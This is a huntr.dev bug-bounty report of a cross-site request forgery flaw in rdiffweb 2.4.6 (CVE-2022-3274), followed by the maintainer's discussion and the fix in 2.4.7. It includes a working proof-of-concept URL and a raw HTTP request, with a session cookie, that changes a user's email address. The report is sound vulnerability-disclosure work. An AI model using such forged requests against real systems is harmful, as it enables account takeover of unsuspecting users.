

CSRF to change the email id in ikus060/rdiffweb

✓ Valid

Reported on Sep 21st 2022

Description

The change email ID is vulnerable to CSRF. The attacker can change the email ID of the user.

Proof of Concept

- 1.Login into the application <https://rdiffweb-demo.ikus-soft.com>.
- 2.Open the URL https://rdiffweb-demo.ikus-soft.com/prefs/general?username=admin&email=csrf%40test.com&action=set_profile_info .
- 3.The email ID of the user is changed.
- 4.The email ID is changed.

Request to <https://rdiffweb-demo.ikus-soft.com:443> [70.55.114.3]

Forward Drop Intercept is on Action

Comment this item

Raw Params Headers Hex

```

1 GET /prefs/general?username=admin&email=csrf%40test.com&action=set_profile_info HTTP/1.1
2 Host: rdiffweb-demo.ikus-soft.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Origin: https://rdiffweb-demo.ikus-soft.com
8 Connection: close
9 Referer: https://rdiffweb-demo.ikus-soft.com/prefs/general
10 Cookie: session_id=4f7b34610de5814829fd6da06798b90b74293d73
11 Upgrade-Insecure-Requests: 1
12 Sec-Fetch-Dest: document
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-User: ?1
16
17

```

Profile Notification SSH Keys

Profile updated successfully.

General information

Username

admin

Email

csrf@test.com

Save changes

Impact

This could change the email ID of the user.

Chat with us

CVE

CVE-2022-3274

(Published)

Vulnerability Type

CWE-352: Cross-Site Request Forgery (CSRF)

Severity

High (7)

Registry

Pypi

Affected Version

2.4.6

Visibility

Public

Status

Fixed

Found by



irfansayyed-github

@irfansayyed-github

master ▼

Fixed by



Patrik Dufresne

@ikus060

unranked ▼

This report was seen 812 times.

We are processing your report and will contact the **ikus060/rdiffweb** team within 24 hours.

2 months ago

Patrik Dufresne 2 months ago

Maintainer

@irfansayyed-github Plz adjust the affected version. 2.5 is not release. It's only released earlier.

Chat with us

Patrik Dufresne [2 months ago](#)

Maintainer

@irfansayyed-github May you also update the registry.

Thanks

Patrik Dufresne assigned a CVE to this report [2 months ago](#)

irfansayyed-github [2 months ago](#)

Researcher

Could you also reply on this <https://huntr.dev/bounties/7b6ec9f4-4fe9-4716-8dba-3491ffa3f6f2/>

irfansayyed-github modified the report [2 months ago](#)

Patrik Dufresne [2 months ago](#)

Maintainer

@irfansayyed-github plz adjust the registry from npm to pypi.

We have contacted a member of the [ikus060/rdiffweb](#) team and are waiting to hear back
[2 months ago](#)

Patrik Dufresne [2 months ago](#)

Maintainer

@admin Could you change the registry from nmp to pypi.

Thanks

Jamie Slome [2 months ago](#)

Admin

Sorted :)

Patrik Dufresne validated this vulnerability [2 months ago](#)

irfansayyed-github has been awarded the disclosure bounty 

The fix bounty is now up for grabs

Chat with us

The researcher's credibility has increased: +7

Patrik Dufresne marked this as fixed in **2.4.7** with commit **e974df** 2 months ago

Patrik Dufresne has been awarded the fix bounty 

This vulnerability will not receive a CVE 



Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us